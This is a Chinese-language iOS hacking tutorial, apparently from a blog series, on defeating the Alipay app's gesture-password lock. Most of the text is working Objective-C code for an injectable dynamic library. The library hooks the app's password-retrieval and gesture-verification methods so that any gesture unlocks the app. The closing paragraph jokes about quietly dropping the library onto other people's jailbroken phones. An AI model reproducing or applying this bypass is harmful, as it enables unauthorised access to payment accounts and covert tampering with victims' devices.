Hack實戰——支付寶app手勢密碼校驗欺騙
在 iOS安全攻防(十一):Hack實戰——探究支付寶app手勢密碼 中,介紹了如何利用gdb分析app,確定了支付寶app的手勢密碼格式為字符串,9個點分別對應123456789。在 iOS安全攻防(十二):iOS7的動態庫注入 中,介紹了如果利用越獄大神們為我們開辟的iOS7動態庫注入方法。
本文將繼續深入hack實戰,hook支付寶手勢密碼校驗操作,欺騙其通過任意手勢輸入。
那麼到現在為止,我們已經掌握了什麼信息呢?
1)一個名叫 GestureUnlockViewController 的類,含有 gestureInputView:didFinishWithPassword: 方法,來處理輸入的手勢
2)正確的手勢密碼通過一個名叫 GestureUtil 的類讀取,方法是 getPassword
思路馬上清晰了,我們需要做2步:
1)hook getPassword 存下正確的密碼
2)hook gestureInputView:didFinishWithPassword: 替換當前輸入為正確的密碼
一個關鍵點,我們是用 Method Swizzling來hook,那麼就意味操作不能過早,因為我們要保證在取到 GestureUnlockViewController 和 GestureUtil class後,才能進行imp替換。
所以, 我采用NSNotificationCenter通知機制協助完成任務。
#import#import IMP ori_getPasswd_IMP = NULL; IMP ori_gesture_IMP = NULL; @interface NSObject (HackPortal) @end @implementation NSObject (HackPortal) + (id)getPassword { NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword)); return passwd; } - (void)gestureInputView:(id)view didFinishWithPassword:(id)password { password = ori_getPasswd_IMP(self, @selector(getPassword)); ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password); } @end @implementation PortalListener - (id)init { self = [super init]; if (self) { [[NSNotificationCenter defaultCenter]addObserver:self selector:@selector(appLaunched:) name:UIApplicationDidBecomeActiveNotification object:nil]; } return self; } - (void)appLaunched:(NSNotification *)notification { Class class_GestureUtil = NSClassFromString(@"GestureUtil"); Class class_PortalListener = NSClassFromString(@"PortalListener"); Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword)); ori_getPasswd_IMP = method_getImplementation(ori_Method); Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword)); method_exchangeImplementations(ori_Method, my_Method); Class class_Gesture = NSClassFromString(@"GestureUnlockViewController"); Method ori_Method1 = class_getInstanceMethod(class_Gesture, @selector(gestureInputView:didFinishWithPassword:)); ori_gesture_IMP = method_getImplementation(ori_Method1); Method my_Method1 = class_getInstanceMethod(class_PortalListener, @selector(gestureInputView:didFinishWithPassword:)); method_exchangeImplementations(ori_Method1, my_Method1); } -(void)dealloc { [[NSNotificationCenter defaultCenter]removeObserver:self]; } @end static void __attribute__((constructor)) initialize(void) { static PortalListener *entrance; entrance = [[PortalListener alloc]init]; }
OK!編譯好動態庫,塞進iPhone試試效果吧~
不管我們輸入什麼手勢,都會被替換為正確的密碼去給gestureInputView:didFinishWithPassword:驗證,然後順利解鎖。
這意味著什麼呢?
意味著,我們可以通過正規的渠道讓用戶下載這個動態庫,然後悄悄放進越獄的iPhone的/Library/MobileSubstrate/DynamicLibraries/目錄下……然後……然後去給妹紙帥鍋變魔術吧:“你看,我和你多心有靈犀,你改什麼密碼我都猜的到!”